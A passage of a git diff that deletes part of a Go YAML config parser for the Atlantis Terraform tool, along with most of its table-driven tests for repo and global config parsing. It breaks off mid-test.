os.Stat(p.repoCfgPath(absRepoDir, invalidExtensionFilename)) - if err == nil { - return false, errors.Errorf("found %q as config file; rename using the .yaml extension - %q", invalidExtensionFilename, AtlantisYAMLFilename) - } - - _, err = os.Stat(p.repoCfgPath(absRepoDir, AtlantisYAMLFilename)) - if os.IsNotExist(err) { - return false, nil - } - return err == nil, err -} - -// ParseRepoCfg returns the parsed and validated atlantis.yaml config for the -// repo at absRepoDir. -// If there was no config file, it will return an os.IsNotExist(error). -func (p *ParserValidator) ParseRepoCfg(absRepoDir string, globalCfg valid.GlobalCfg, repoID string) (valid.RepoCfg, error) { - configFile := p.repoCfgPath(absRepoDir, AtlantisYAMLFilename) - configData, err := ioutil.ReadFile(configFile) // nolint: gosec - - if err != nil { - if !os.IsNotExist(err) { - return valid.RepoCfg{}, errors.Wrapf(err, "unable to read %s file", AtlantisYAMLFilename) - } - // Don't wrap os.IsNotExist errors because we want our callers to be - // able to detect if it's a NotExist err. - return valid.RepoCfg{}, err - } - return p.ParseRepoCfgData(configData, globalCfg, repoID) -} - -func (p *ParserValidator) ParseRepoCfgData(repoCfgData []byte, globalCfg valid.GlobalCfg, repoID string) (valid.RepoCfg, error) { - var rawConfig raw.RepoCfg - if err := yaml.UnmarshalStrict(repoCfgData, &rawConfig); err != nil { - return valid.RepoCfg{}, err - } - - // Set ErrorTag to yaml so it uses the YAML field names in error messages. - validation.ErrorTag = "yaml" - if err := rawConfig.Validate(); err != nil { - return valid.RepoCfg{}, err - } - - validConfig := rawConfig.ToValid() - - // We do the project name validation after we get the valid config because - // we need the defaults of dir and workspace to be populated. - if err := p.validateProjectNames(validConfig); err != nil { - return valid.RepoCfg{}, err - } - if validConfig.Version == 2 { - // The only difference between v2 and v3 is how we parse custom run - // commands. - if err := p.applyLegacyShellParsing(&validConfig); err != nil { - return validConfig, err - } - } - - err := globalCfg.ValidateRepoCfg(validConfig, repoID) - return validConfig, err -} - -// ParseGlobalCfg returns the parsed and validated global repo config file at -// configFile. defaultCfg will be merged into the parsed config. -// If there is no file at configFile it will return an error. -func (p *ParserValidator) ParseGlobalCfg(configFile string, defaultCfg valid.GlobalCfg) (valid.GlobalCfg, error) { - configData, err := ioutil.ReadFile(configFile) // nolint: gosec - if err != nil { - return valid.GlobalCfg{}, errors.Wrapf(err, "unable to read %s file", configFile) - } - if len(configData) == 0 { - return valid.GlobalCfg{}, fmt.Errorf("file %s was empty", configFile) - } - - var rawCfg raw.GlobalCfg - if err := yaml.UnmarshalStrict(configData, &rawCfg); err != nil { - return valid.GlobalCfg{}, err - } - - return p.validateRawGlobalCfg(rawCfg, defaultCfg, "yaml") -} - -// ParseGlobalCfgJSON parses a json string cfgJSON into global config. -func (p *ParserValidator) ParseGlobalCfgJSON(cfgJSON string, defaultCfg valid.GlobalCfg) (valid.GlobalCfg, error) { - var rawCfg raw.GlobalCfg - err := json.Unmarshal([]byte(cfgJSON), &rawCfg) - if err != nil { - return valid.GlobalCfg{}, err - } - return p.validateRawGlobalCfg(rawCfg, defaultCfg, "json") -} - -func (p *ParserValidator) validateRawGlobalCfg(rawCfg raw.GlobalCfg, defaultCfg valid.GlobalCfg, errTag string) (valid.GlobalCfg, error) { - // Setting ErrorTag means our errors will use the field names defined in - // the struct tags for yaml/json. - validation.ErrorTag = errTag - if err := rawCfg.Validate(); err != nil { - return valid.GlobalCfg{}, err - } - - validCfg := rawCfg.ToValid(defaultCfg) - return validCfg, nil -} - -func (p *ParserValidator) repoCfgPath(repoDir, cfgFilename string) string { - return filepath.Join(repoDir, cfgFilename) -} - -func (p *ParserValidator) validateProjectNames(config valid.RepoCfg) error { - // First, validate that all names are unique. - seen := make(map[string]bool) - for _, project := range config.Projects { - if project.Name != nil { - name := *project.Name - exists := seen[name] - if exists { - return fmt.Errorf("found two or more projects with name %q; project names must be unique", name) - } - seen[name] = true - } - } - - // Next, validate that all dir/workspace combos are named. - // This map's keys will be 'dir/workspace' and the values are the names for - // that project. - dirWorkspaceToNames := make(map[string][]string) - for _, project := range config.Projects { - key := fmt.Sprintf("%s/%s", project.Dir, project.Workspace) - names := dirWorkspaceToNames[key] - - // If there is already a project with this dir/workspace then this - // project must have a name. - if len(names) > 0 && project.Name == nil { - return fmt.Errorf("there are two or more projects with dir: %q workspace: %q that are not all named; they must have a 'name' key so they can be targeted for apply's separately", project.Dir, project.Workspace) - } - var name string - if project.Name != nil { - name = *project.Name - } - dirWorkspaceToNames[key] = append(dirWorkspaceToNames[key], name) - } - - return nil -} - -// applyLegacyShellParsing changes any custom run commands in cfg to use the old -// parsing method with shlex.Split(). -func (p *ParserValidator) applyLegacyShellParsing(cfg *valid.RepoCfg) error { - legacyParseF := func(s *valid.Step) error { - if s.StepName == "run" { - split, err := shlex.Split(s.RunCommand) - if err != nil { - return errors.Wrapf(err, "unable to parse %q", s.RunCommand) - } - s.RunCommand = strings.Join(split, " ") - } - return nil - } - - for k := range cfg.Workflows { - w := cfg.Workflows[k] - for i := range w.Plan.Steps { - s := &w.Plan.Steps[i] - if err := legacyParseF(s); err != nil { - return err - } - } - for i := range w.Apply.Steps { - s := &w.Apply.Steps[i] - if err := legacyParseF(s); err != nil { - return err - } - } - cfg.Workflows[k] = w - } - return nil -} diff --git a/server/events/yaml/parser_validator_test.go b/server/events/yaml/parser_validator_test.go deleted file mode 100644 index fd687317b8..0000000000 --- a/server/events/yaml/parser_validator_test.go +++ /dev/null @@ -1,1363 +0,0 @@ -package yaml_test - -import ( - "fmt" - "io/ioutil" - "os" - "path/filepath" - "regexp" - "strings" - "testing" - - "github.com/hashicorp/go-version" - "github.com/runatlantis/atlantis/server/events/yaml" - "github.com/runatlantis/atlantis/server/events/yaml/valid" - . "github.com/runatlantis/atlantis/testing" -) - -var globalCfg = valid.NewGlobalCfg(true, false, false) - -func TestHasRepoCfg_DirDoesNotExist(t *testing.T) { - r := yaml.ParserValidator{} - exists, err := r.HasRepoCfg("/not/exist") - Ok(t, err) - Equals(t, false, exists) -} - -func TestHasRepoCfg_FileDoesNotExist(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - r := yaml.ParserValidator{} - exists, err := r.HasRepoCfg(tmpDir) - Ok(t, err) - Equals(t, false, exists) -} - -func TestHasRepoCfg_InvalidFileExtension(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - _, err := os.Create(filepath.Join(tmpDir, "atlantis.yml")) - Ok(t, err) - - r := yaml.ParserValidator{} - _, err = r.HasRepoCfg(tmpDir) - ErrContains(t, "found \"atlantis.yml\" as config file; rename using the .yaml extension - \"atlantis.yaml\"", err) -} - -func TestParseRepoCfg_DirDoesNotExist(t *testing.T) { - r := yaml.ParserValidator{} - _, err := r.ParseRepoCfg("/not/exist", globalCfg, "") - Assert(t, os.IsNotExist(err), "exp not exist err") -} - -func TestParseRepoCfg_FileDoesNotExist(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - r := yaml.ParserValidator{} - _, err := r.ParseRepoCfg(tmpDir, globalCfg, "") - Assert(t, os.IsNotExist(err), "exp not exist err") -} - -func TestParseRepoCfg_BadPermissions(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - err := ioutil.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), nil, 0000) - Ok(t, err) - - r := yaml.ParserValidator{} - _, err = r.ParseRepoCfg(tmpDir, globalCfg, "") - ErrContains(t, "unable to read atlantis.yaml file: ", err) -} - -// Test both ParseRepoCfg and ParseGlobalCfg when given in valid YAML. -// We only have a few cases here because we assume the YAML library to be -// well tested. See https://github.com/go-yaml/yaml/blob/v2/decode_test.go#L810. -func TestParseCfgs_InvalidYAML(t *testing.T) { - cases := []struct { - description string - input string - expErr string - }{ - { - "random characters", - "slkjds", - "yaml: unmarshal errors:\n line 1: cannot unmarshal !!str `slkjds` into", - }, - { - "just a colon", - ":", - "yaml: did not find expected key", - }, - } - - tmpDir, cleanup := TempDir(t) - defer cleanup() - - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - confPath := filepath.Join(tmpDir, "atlantis.yaml") - err := ioutil.WriteFile(confPath, []byte(c.input), 0600) - Ok(t, err) - r := yaml.ParserValidator{} - _, err = r.ParseRepoCfg(tmpDir, globalCfg, "") - ErrContains(t, c.expErr, err) - _, err = r.ParseGlobalCfg(confPath, valid.NewGlobalCfg(false, false, false)) - ErrContains(t, c.expErr, err) - }) - } -} - -func TestParseRepoCfg(t *testing.T) { - tfVersion, _ := version.NewVersion("v0.11.0") - cases := []struct { - description string - input string - expErr string - exp valid.RepoCfg - }{ - // Version key. - { - description: "no version", - input: ` -projects: -- dir: "." -`, - expErr: "version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.", - }, - { - description: "unsupported version", - input: ` -version: 0 -projects: -- dir: "." -`, - expErr: "version: only versions 2 and 3 are supported.", - }, - { - description: "empty version", - input: ` -version: -projects: -- dir: "." -`, - expErr: "version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.", - }, - { - description: "version 2", - input: ` -version: 2 -workflows: - custom: - plan: - steps: - - run: old 'shell parsing' -`, - exp: valid.RepoCfg{ - Version: 2, - Workflows: map[string]valid.Workflow{ - "custom": { - Name: "custom", - Apply: valid.DefaultApplyStage, - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "run", - RunCommand: "old shell parsing", - }, - }, - }, - }, - }, - }, - }, - - // Projects key. - { - description: "empty projects list", - input: ` -version: 3 -projects:`, - exp: valid.RepoCfg{ - Version: 3, - Projects: nil, - Workflows: map[string]valid.Workflow{}, - }, - }, - { - description: "project dir not set", - input: ` -version: 3 -projects: -- `, - expErr: "projects: (0: (dir: cannot be blank.).).", - }, - { - description: "project dir set", - input: ` -version: 3 -projects: -- dir: .`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - WorkflowName: nil, - TerraformVersion: nil, - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - ApplyRequirements: nil, - }, - }, - Workflows: map[string]valid.Workflow{}, - }, - }, - { - description: "autoplan should be enabled by default", - input: ` -version: 3 -projects: -- dir: "." -`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - Workflows: make(map[string]valid.Workflow), - }, - }, - { - description: "autoplan should be enabled if only when_modified set", - input: ` -version: 3 -projects: -- dir: "." - autoplan: - when_modified: ["**/*.tf*"] -`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*"}, - Enabled: true, - }, - }, - }, - Workflows: make(map[string]valid.Workflow), - }, - }, - { - description: "if workflows not defined there are none", - input: ` -version: 3 -projects: -- dir: "." -`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - Workflows: make(map[string]valid.Workflow), - }, - }, - { - description: "if workflows key set but with no workflows there are none", - input: ` -version: 3 -projects: -- dir: "." -workflows: ~ -`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - Workflows: make(map[string]valid.Workflow), - }, - }, - { - description: "if a plan or apply explicitly defines an empty steps key then it gets the defaults", - input: ` -version: 3 -projects: -- dir: "." -workflows: - default: - plan: - steps: - apply: - steps: -`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - Workflows: map[string]valid.Workflow{ - "default": { - Name: "default", - Plan: valid.DefaultPlanStage, - Apply: valid.DefaultApplyStage, - }, - }, - }, - }, - { - description: "project fields set except autoplan", - input: ` -version: 3 -projects: -- dir: . - workspace: myworkspace - terraform_version: v0.11.0 - apply_requirements: [approved] - workflow: myworkflow -workflows: - myworkflow: ~`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "myworkspace", - WorkflowName: String("myworkflow"), - TerraformVersion: tfVersion, - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - ApplyRequirements: []string{"approved"}, - }, - }, - Workflows: map[string]valid.Workflow{ - "myworkflow": { - Name: "myworkflow", - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - }, - }, - }, - { - description: "project field with autoplan", - input: ` -version: 3 -projects: -- dir: . - workspace: myworkspace - terraform_version: v0.11.0 - apply_requirements: [approved] - workflow: myworkflow - autoplan: - enabled: false -workflows: - myworkflow: ~`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "myworkspace", - WorkflowName: String("myworkflow"), - TerraformVersion: tfVersion, - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: false, - }, - ApplyRequirements: []string{"approved"}, - }, - }, - Workflows: map[string]valid.Workflow{ - "myworkflow": { - Name: "myworkflow", - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - }, - }, - }, - { - description: "project field with mergeable apply requirement", - input: ` -version: 3 -projects: -- dir: . - workspace: myworkspace - terraform_version: v0.11.0 - apply_requirements: [mergeable] - workflow: myworkflow - autoplan: - enabled: false -workflows: - myworkflow: ~`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "myworkspace", - WorkflowName: String("myworkflow"), - TerraformVersion: tfVersion, - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: false, - }, - ApplyRequirements: []string{"mergeable"}, - }, - }, - Workflows: map[string]valid.Workflow{ - "myworkflow": { - Name: "myworkflow", - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - }, - }, - }, - { - description: "project field with mergeable and approved apply requirements", - input: ` -version: 3 -projects: -- dir: . - workspace: myworkspace - terraform_version: v0.11.0 - apply_requirements: [mergeable, approved] - workflow: myworkflow - autoplan: - enabled: false -workflows: - myworkflow: ~`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "myworkspace", - WorkflowName: String("myworkflow"), - TerraformVersion: tfVersion, - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: false, - }, - ApplyRequirements: []string{"mergeable", "approved"}, - }, - }, - Workflows: map[string]valid.Workflow{ - "myworkflow": { - Name: "myworkflow", - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - }, - }, - }, - { - description: "project dir with ..", - input: ` -version: 3 -projects: -- dir: ..`, - expErr: "projects: (0: (dir: cannot contain '..'.).).", - }, - - // Project must have dir set. - { - description: "project with no config", - input: ` -version: 3 -projects: --`, - expErr: "projects: (0: (dir: cannot be blank.).).", - }, - { - description: "project with no config at index 1", - input: ` -version: 3 -projects: -- dir: "." --`, - expErr: "projects: (1: (dir: cannot be blank.).).", - }, - { - description: "project with unknown key", - input: ` -version: 3 -projects: -- unknown: value`, - expErr: "yaml: unmarshal errors:\n line 4: field unknown not found in type raw.Project", - }, - { - description: "referencing workflow that doesn't exist", - input: ` -version: 3 -projects: -- dir: . - workflow: undefined`, - expErr: "workflow \"undefined\" is not defined anywhere", - }, - { - description: "two projects with same dir/workspace without names", - input: ` -version: 3 -projects: -- dir: . - workspace: workspace -- dir: . - workspace: workspace`, - expErr: "there are two or more projects with dir: \".\" workspace: \"workspace\" that are not all named; they must have a 'name' key so they can be targeted for apply's separately", - }, - { - description: "two projects with same dir/workspace only one with name", - input: ` -version: 3 -projects: -- name: myname - dir: . - workspace: workspace -- dir: . - workspace: workspace`, - expErr: "there are two or more projects with dir: \".\" workspace: \"workspace\" that are not all named; they must have a 'name' key so they can be targeted for apply's separately", - }, - { - description: "two projects with same dir/workspace both with same name", - input: ` -version: 3 -projects: -- name: myname - dir: . - workspace: workspace -- name: myname - dir: . - workspace: workspace`, - expErr: "found two or more projects with name \"myname\"; project names must be unique", - }, - { - description: "two projects with same dir/workspace with different names", - input: ` -version: 3 -projects: -- name: myname - dir: . - workspace: workspace -- name: myname2 - dir: . - workspace: workspace`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Name: String("myname"), - Dir: ".", - Workspace: "workspace", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - { - Name: String("myname2"), - Dir: ".", - Workspace: "workspace", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - Workflows: map[string]valid.Workflow{}, - }, - }, - { - description: "if steps are set then we parse them properly", - input: ` -version: 3 -projects: -- dir: "." -workflows: - default: - plan: - steps: - - init - - plan - apply: - steps: - - plan # NOTE: we don't validate if they make sense - - apply -`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - Workflows: map[string]valid.Workflow{ - "default": { - Name: "default", - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "init", - }, - { - StepName: "plan", - }, - }, - }, - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "plan", - }, - { - StepName: "apply", - }, - }, - }, - }, - }, - }, - }, - { - description: "we parse extra_args for the steps", - input: ` -version: 3 -projects: -- dir: "." -workflows: - default: - plan: - steps: - - init: - extra_args: [] - - plan: - extra_args: - - arg1 - - arg2 - apply: - steps: - - plan: - extra_args: [a, b] - - apply: - extra_args: ["a", "b"] -`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - Workflows: map[string]valid.Workflow{ - "default": { - Name: "default", - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "init", - ExtraArgs: []string{}, - }, - { - StepName: "plan", - ExtraArgs: []string{"arg1", "arg2"}, - }, - }, - }, - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "plan", - ExtraArgs: []string{"a", "b"}, - }, - { - StepName: "apply", - ExtraArgs: []string{"a", "b"}, - }, - }, - }, - }, - }, - }, - }, - { - description: "custom steps are parsed", - input: ` -version: 3 -projects: -- dir: "." -workflows: - default: - plan: - steps: - - run: "echo \"plan hi\"" - apply: - steps: - - run: echo apply "arg 2" -`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - Workflows: map[string]valid.Workflow{ - "default": { - Name: "default", - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "run", - RunCommand: "echo \"plan hi\"", - }, - }, - }, - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "run", - RunCommand: "echo apply \"arg 2\"", - }, - }, - }, - }, - }, - }, - }, - { - description: "env steps", - input: ` -version: 3 -projects: -- dir: "." -workflows: - default: - plan: - steps: - - env: - name: env_name - value: env_value - apply: - steps: - - env: - name: env_name - command: command and args -`, - exp: valid.RepoCfg{ - Version: 3, - Projects: []valid.Project{ - { - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - Workflows: map[string]valid.Workflow{ - "default": { - Name: "default", - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "env", - EnvVarName: "env_name", - EnvVarValue: "env_value", - }, - }, - }, - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "env", - EnvVarName: "env_name", - RunCommand: "command and args", - }, - }, - }, - }, - }, - }, - }, - } - - tmpDir, cleanup := TempDir(t) - defer cleanup() - - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - err := ioutil.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), []byte(c.input), 0600) - Ok(t, err) - - r := yaml.ParserValidator{} - act, err := r.ParseRepoCfg(tmpDir, globalCfg, "") - if c.expErr != "" { - ErrEquals(t, c.expErr, err) - return - } - Ok(t, err) - Equals(t, c.exp, act) - }) - } -} - -// Test that we fail if the global validation fails. We test global validation -// more completely in GlobalCfg.ValidateRepoCfg(). -func TestParseRepoCfg_GlobalValidation(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - - repoCfg := ` -version: 3 -projects: -- dir: . - workflow: custom -workflows: - custom: ~` - err := ioutil.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), []byte(repoCfg), 0600) - Ok(t, err) - - r := yaml.ParserValidator{} - _, err = r.ParseRepoCfg(tmpDir, valid.NewGlobalCfg(false, false, false), "repo_id") - ErrEquals(t, "repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'", err) -} - -func TestParseGlobalCfg_NotExist(t *testing.T) { - r := yaml.ParserValidator{} - _, err := r.ParseGlobalCfg("/not/exist", valid.NewGlobalCfg(false, false, false)) - ErrEquals(t, "unable to read /not/exist file: open /not/exist: no such file or directory", err) -} - -func TestParseGlobalCfg(t *testing.T) { - defaultCfg := valid.NewGlobalCfg(false, false, false) - customWorkflow1 := valid.Workflow{ - Name: "custom1", - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "run", - RunCommand: "custom command", - }, - { - StepName: "init", - ExtraArgs: []string{"extra", "args"}, - }, - { - StepName: "plan", - }, - }, - }, - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "run", - RunCommand: "custom command", - }, - { - StepName: "apply", - }, - }, - }, - } - - cases := map[string]struct { - input string - expErr string - exp valid.GlobalCfg - }{ - "empty file": { - input: "", - expErr: "file was empty", - }, - "invalid fields": { - input: "invalid: key", - expErr: "yaml: unmarshal errors:\n line 1: field invalid not found in type raw.GlobalCfg", - }, - "no id specified": { - input: `repos: -- apply_requirements: []`, - expErr: "repos: (0: (id: cannot be blank.).).", - }, - "invalid regex": { - input: `repos: -- id: /?/`, - expErr: "repos: (0: (id: parsing: /?/: error parsing regexp: missing argument to repetition operator: `?`.).).", - }, - "workflow doesn't exist": { - input: `repos: -- id: /.*/ - workflow: notdefined`, - expErr: "workflow \"notdefined\" is not defined", - }, - "invalid allowed_override": { - input: `repos: -- id: /.*/ - allowed_overrides: [invalid]`, - expErr: "repos: (0: (allowed_overrides: \"invalid\" is not a valid override, only \"apply_requirements\" and \"workflow\" are supported.).).", - }, - "invalid apply_requirement": { - input: `repos: -- id: /.*/ - apply_requirements: [invalid]`, - expErr: "repos: (0: (apply_requirements: \"invalid\" is not a valid apply_requirement, only \"approved\" and \"mergeable\" are supported.).).", - }, - "no workflows key": { - input: `repos: []`, - exp: defaultCfg, - }, - "workflows empty": { - input: `workflows:`, - exp: defaultCfg, - }, - "workflow name but the rest is empty": { - input: ` -workflows: - name:`, - exp: valid.GlobalCfg{ - Repos: defaultCfg.Repos, - Workflows: map[string]valid.Workflow{ - "default": defaultCfg.Workflows["default"], - "name": { - Name: "name", - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - }, - }, - }, - "workflow stages empty": { - input: ` -workflows: - name: - apply: - plan: -`, - exp: valid.GlobalCfg{ - Repos: defaultCfg.Repos, - Workflows: map[string]valid.Workflow{ - "default": defaultCfg.Workflows["default"], - "name": { - Name: "name", - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - }, - }, - }, - "workflow steps empty": { - input: ` -workflows: - name: - apply: - steps: - plan: - steps:`, - exp: valid.GlobalCfg{ - Repos: defaultCfg.Repos, - Workflows: map[string]valid.Workflow{ - "default": defaultCfg.Workflows["default"], - "name": { - Name: "name", - Plan: valid.DefaultPlanStage, - Apply: valid.DefaultApplyStage, - }, - }, - }, - }, - "all keys specified": { - input: ` -repos: -- id: github.com/owner/repo - apply_requirements: [approved, mergeable] - workflow: custom1 - allowed_overrides: [apply_requirements, workflow] - allow_custom_workflows: true -- id: /.*/ - -workflows: - custom1: - plan: - steps: - - run: custom command - - init: - extra_args: [extra, args] - - plan - apply: - steps: - - run: custom command - - apply -`, - exp: valid.GlobalCfg{ - Repos: []valid.Repo{ - defaultCfg.Repos[0], - { - ID: "github.com/owner/repo", - ApplyRequirements: []string{"approved", "mergeable"}, - Workflow: &customWorkflow1, - AllowedOverrides: []string{"apply_requirements", "workflow"}, - AllowCustomWorkflows: Bool(true), - }, - { - IDRegex: regexp.MustCompile(".*"), - }, - }, - Workflows: map[string]valid.Workflow{ - "default": defaultCfg.Workflows["default"], - "custom1": customWorkflow1, - }, - }, - }, - "id regex with trailing slash": { - input: ` -repos: -- id: /github.com// -`, - exp: valid.GlobalCfg{ - Repos: []valid.Repo{ - defaultCfg.Repos[0], - { - IDRegex: regexp.MustCompile("github.com/"), - }, - }, - Workflows: map[string]valid.Workflow{ - "default": defaultCfg.Workflows["default"], - }, - }, - }, - "referencing default workflow": { - input: ` -repos: -- id: github.com/owner/repo - workflow: default -`, - exp: valid.GlobalCfg{ - Repos: []valid.Repo{ - defaultCfg.Repos[0], - { - ID: "github.com/owner/repo", - Workflow: defaultCfg.Repos[0].Workflow, - }, - }, - Workflows: map[string]valid.Workflow{ - "default": defaultCfg.Workflows["default"], - }, - }, - }, - "redefine default workflow": { - input: ` -workflows: - default: - plan: - steps: - - run: custom - apply: - steps: [] -`, - exp: valid.GlobalCfg{ - Repos: []valid.Repo{ - { - IDRegex: regexp.MustCompile(".*"), - ApplyRequirements: []string{}, - Workflow: &valid.Workflow{ - Name: "default", - Apply: valid.Stage{ - Steps: nil, - }, - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "run", - RunCommand: "custom", - }, - }, - }, - }, - AllowedOverrides: []string{}, - AllowCustomWorkflows: Bool(false), - }, - }, - Workflows: map[string]valid.Workflow{ - "default": { - Name: "default", - Apply: valid.Stage{ - Steps: nil, - }, - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "run", - RunCommand: "custom", - }, - }, - }, - }, - }, - }, - }, - } - for name, c := range cases { - t.Run(name, func(t *testing.T) { - r := yaml.ParserValidator{} - tmp, cleanup := TempDir(t) - defer cleanup() - path := filepath.Join(tmp, "conf.yaml") - Ok(t, ioutil.WriteFile(path, []byte(c.input), 0600)) - - act, err := r.ParseGlobalCfg(path, valid.NewGlobalCfg(false, false, false)) - if c.expErr != "" { - expErr := strings.Replace(c.expErr, "", path, -1) - ErrEquals(t, expErr, err) - return - } - Ok(t, err) - Equals(t, c.exp, act) - // Have to hand-compare regexes because Equals doesn't do it. - for i, actRepo := range act.Repos { - expRepo := c.exp.Repos[i] - if expRepo.IDRegex != nil { - Assert(t, expRepo.IDRegex.String() == actRepo.IDRegex.String(), - "%q != %q for repos[%d]", expRepo.IDRegex.String(), actRepo.IDRegex.String(), i) - } - } - }) - } -} - -// Test that if we pass in JSON strings everything should parse fine. -func TestParserValidator_ParseGlobalCfgJSON(t *testing.T) { - customWorkflow := valid.Workflow{ - Name: "custom", - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "init", - }, - { - StepName: "plan", - ExtraArgs: []string{"extra", "args"}, - }, - { - StepName: "run", - RunCommand: "custom plan", - }, - }, - }, - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "run", - RunCommand: "my custom command", - }, - }, - }, - } - - cases := map[string]struct { - json string - exp valid.GlobalCfg - expErr string - }{ - "empty string": { - json: "", - expErr: "unexpected end of JSON input", - }, - "empty object": { - json: "{}", - exp: valid.NewGlobalCfg(false, false, false), - }, - "setting all keys": { - json: ` -{ - "repos": [ - { - "id": "/.*/", - "workflow": "custom", - "apply_requirements": ["mergeable", "approved"], - "allowed_overrides": ["workflow", "apply_requirements"], - "allow_custom_workflows": true - }, - { - "id": "github.com/owner/repo" - } - ], - "workflows": { - "custom": { - "plan": { - "steps": [ - "init", - {"plan": {"extra_args": ["extra", "args"]}}, - {"run": "custom plan"} - ] - }, - "apply": { - "steps": [ - {"run": "my custom command"} - ] - } - } - } -} -`, - exp: valid.GlobalCfg{ - Repos: []valid.Repo{ - valid.NewGlobalCfg(false, false, false).Repos[0], - { - IDRegex: regexp.MustCompile(".*"), - ApplyRequirements: []string{"mergeable", "approved"}, - Workflow: &customWorkflow, - AllowedOverrides: []string{"workflow", "apply_requirements"}, - AllowCustomWorkflows: Bool(true), - }, - { - ID: "github.com/owner/repo", - IDRegex: nil, - ApplyRequirements: nil, - AllowedOverrides: nil, - AllowCustomWorkflows: nil, - }, - }, - Workflows: map[string]valid.Workflow{ - "default": valid.NewGlobalCfg(false, false, false).Workflows["default"], - "custom": 